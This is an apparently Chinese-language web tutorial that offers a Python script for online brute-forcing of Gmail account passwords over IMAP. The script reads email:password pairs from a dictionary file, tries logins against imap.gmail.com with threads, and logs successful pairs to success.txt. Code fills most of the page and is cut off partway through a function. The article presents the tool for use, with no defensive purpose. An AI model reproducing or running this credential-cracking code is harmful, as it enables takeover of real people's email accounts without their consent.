Python实现破解邮箱账号密码的实例
这篇文章主要介绍了python实现在线暴力破解邮箱账号密码功能,结合完整实例形式分析了python读取txt字典文件针对邮箱的相关验证破解操作技巧,需要的朋友可以参考下
本文实例讲述了Python实现在线暴力破解邮箱账号密码功能。分享给大家供大家参考,具体如下:
dic 字典格式如下(mail.txt) :
username@gmail.com:passwordusername@gmail.com:passwordusername@gmail.com:password
以此类推,切记保存成utf-8编码格式。
放置在当前脚本目录,也可自己定义修改。
立即学习“Python免费学习笔记(深入)”;
支持ssl https /imap协议。
# version 3.4.0# coding='UTF-8'# time='2014-09-16'import _dummy_threadimport imaplibimport threading# global variantGLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY = []GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY_NUM = 0GLOBAL_STRING_GMAIL_IMAP4_SERVER = 'imap.gmail.com'GLOBAL_INT_GMAIL_IMAP4_SERVER_PORT = 143GLOBAL_INT_GMAIL_IMAP4_SSL_PORT = 993GLOBAL_WORKING_THREAD_MUTEX_LOCK = _dummy_thread.allocate_lock()GLOBAL_ARRAY_BUFFER_MAX_LINES = 1000GMAIL_BYTES_READED_TOTAL_SIZE = 0GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES = 0GLOBAL_READ_FINISH_STATUS_SUCCESS = False# define global functiondef Write_Save_Success_Gmail_Jobs(indexSuccess): Success_File = open('success.txt', 'a') Success_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexSuccess]) Success_File.close()def Write_Save_Fail_Gmail_Jobs(indexFail): Fail_File = open('fail.txt', 'a') Fail_File.write(GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[indexFail]) Fail_File.close()# define global functiondef Get_Parser_Account_Pwd(Index): strAccountPwd = GLOBAL_STRING_GMAIL_ACCOUNT_PWD_ARRAY[Index] strUserName, strPassWord = strAccountPwd.split(':', 1) return strUserName, strPassWord# define global functiondef Veritifying_Gmail_Imap_Account_Pwd(IndexGmail): global GLOBAL_WORKING_THREAD_MUTEX_LOCK global GLOBAL_GMAIL_CURRENT_POSITION_TOTAL_LINES if ((IndexGmail >= 0) and (IndexGmail